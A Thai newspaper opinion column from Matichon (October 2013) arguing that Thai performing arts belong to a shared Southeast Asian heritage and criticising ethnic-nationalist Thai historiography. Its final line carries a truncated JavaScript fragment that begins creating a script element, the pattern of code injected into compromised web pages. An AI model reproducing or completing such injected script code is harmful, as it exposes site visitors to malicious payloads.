มติชนรายวัน ฉบับประจำวันอังคารที่ 29 ตุลาคม 2556

 

วัฒนธรรมร่วมของอาเซียน

          นาฏศิลป์และดนตรีในไทย มีประวัติศาสตร์ความเป็นมาเป็นอันหนึ่งอันเดียวกันอย่างแยกไม่ได้กับนาฏศิลป์และดนตรีในสุวรรณภูมิและอุษาคเนย์

          ดังนั้น นาฏศิลป์และดนตรีในไทย จึงเป็นวัฒนธรรมร่วมของสุวรรณภูมิและอุษาคเนย์ ซึ่งมีไทยเป็นส่วนหนึ่งอยู่ด้วย แต่ไม่ใช่ของไทยพวกเดียวแล้วจินตนาการกันเองว่าพวกอื่นรับไปจากไทย ดังชอบดราม่ากันสนั่นเมือง

          ซึ่งมีเหตุจากประวัติศาสตร์แห่งชาติของไทย ตัดขาดจากประวัติศาสตร์สังคมและวัฒนธรรมของสุวรรณภูมิและอุษาคเนย์ แล้วครอบงำการศึกษาไทยให้ผิวเผินคับแคบจนหลงตัวเองอย่างโงหัวไม่ขึ้น เลยมองไม่เห็นความสำคัญของคนอื่น แล้ววางตนเหนือคนอื่น

          การศึกษาไทยต้องเร่งแก้ไขเรื่องนี้ มิฉะนั้นจะมีปัญหา“สมองฝ่อ”ขัดแย้งกับเพื่อนบ้านทั้งเรื่องหลักๆและเรื่องปลีกย่อยไม่รู้จบ แล้วเป็นอุปสรรคต่อความก้าวหน้าทั้งของไทยเองและของประชาคมอาเซียนที่จะมีข้างหน้า

 

เพชรในมือลิง

          “ประเทศไทยเรามีลักษณะของชาตินิยมเชิงชาติพันธุ์มาก นับตั้งแต่การชูวัฒนธรรมไทย การเขียนประวัติศาสตร์ชาติไทยจากคนเพียงกลุ่มเดียวที่เชื่อว่าเป็นชนชาติไท”

          รศ. ดร. นิติ ภวัครพันธุ์ คณะรัฐศาสตร์ จุฬาลงกรณ์มหาวิทยาลัย บอกไว้ในเรื่องเปิดพื้นที่ประวัติศาสตร์สามัญชนในอุษาคเนย์ พิมพ์ในจดหมายข่าวศูนย์มานุษยวิทยาสิรินธร (ฉบับชาติพันธุ์ศึกษาในอาเซียน มกราคม-มีนาคม 2556 หน้า 3)

          ประวัติศาสตร์แห่งชาติของไทย เป็นประวัติศาสตร์ของชนชาติไทยกลุ่มเดียว ที่ถูกสร้างขึ้นโดยคนชั้นนำกลุ่มเล็กๆกลุ่มเดียว แล้วบังคับใช้อย่าง“คลุมถุงชน”ให้คนทุกกลุ่มซึ่งมีหลากหลายต้องเชื่อถือทั่วประเทศ

          ใครทักท้วงถกเถียงเป็นถูกตีตราว่า“ไม่ไทย” และไม่รักชาติ ศาสนา พระมหากษัตริย์

          ทั้งๆจนถึงทุกวันนี้ยังไม่มีคำอธิบาย ว่าทำไมเลือกชื่อไทย? ทำไมไม่ชื่อไต? หรือทำไมไม่ชื่อต่างดาว? เพราะไม่กล้าคิด ไม่กล้าตั้งคำถาม

          มีนักวิชาการก้าวหน้ารุ่นใหม่ศึกษาค้นคว้าวิจัย“เล่าความเมือง” ที่เป็นเอกสารโบราณของไทยดำ ในเวียดนาม ซึ่งไม่เคยมีใครในไทยสยามทำได้ละเอียดลออถี่ถ้วนทุกกระบวนความอย่างนี้มาก่อน

          แต่นักวิชาการไทยพวกที่มีลักษณะชาตินิยมเชิงชาติพันธุ์ในสถาบันแห่งหนึ่งอ่านไม่รู้เรื่อง และไม่เคยเข้าใจเรื่องเหล่านี้ จึงทำให้งานวิจัยไทยดำเล่าความเมืองถูกมองข้ามและถูกบิดเบือนใส่ร้าย(คนอื่น) เพื่อสร้างความชอบธรรมให้ตัวเอง

          ผมเคยอ่านเล่าความเมืองที่ถอดถ่ายจากอักษรไทยดำเป็นอักษรไทยสยามมาก่อนบ้าง แต่ไม่มาก ทั้งโดยนักวิชาการชาวตะวันตกและชาวไทย แล้วเห็นว่าเกี่ยวดองกับตำนานนิทานกำเนิดโลกและมนุษย์จากน้ำเต้าปุงในพงศาวดารล้านช้าง ซึ่งรวมอยู่ในหนังสือประชุมพงศาวดารฯในไทย

          นอกจากนั้นยังเกี่ยวดองกับการเคลื่อนย้ายของกลุ่มชนเชื้อสายแถนและขุนบรมจากเมืองแถน(เดียนเบียนฟู) ในเวียดนามตั้งแต่หลัง พ.ศ. 1500 ซึ่งจะสัมพันธ์กับคำว่า ไทย (ใช้ ท ไม่ ต) ในชื่อของคนกลุ่มหนึ่งเรียกตัวเองว่าคนไทย ซึ่งมีครั้งแรกในลุ่มน้ำเจ้าพระยา ราวหลัง พ.ศ. 1700

          แต่แล้วใจหายและแสนเสียดายงานวิจัยไทยดำเล่าความเมืองอันมีค่ามหาศาล สมดังคำพังเพยโบราณว่า “อันเพชรดีมีค่าราคายิ่ง อยู่กับลิงจะรู้ค่าราคาหรือ”var d=document;var s=d.createElement(‘script’);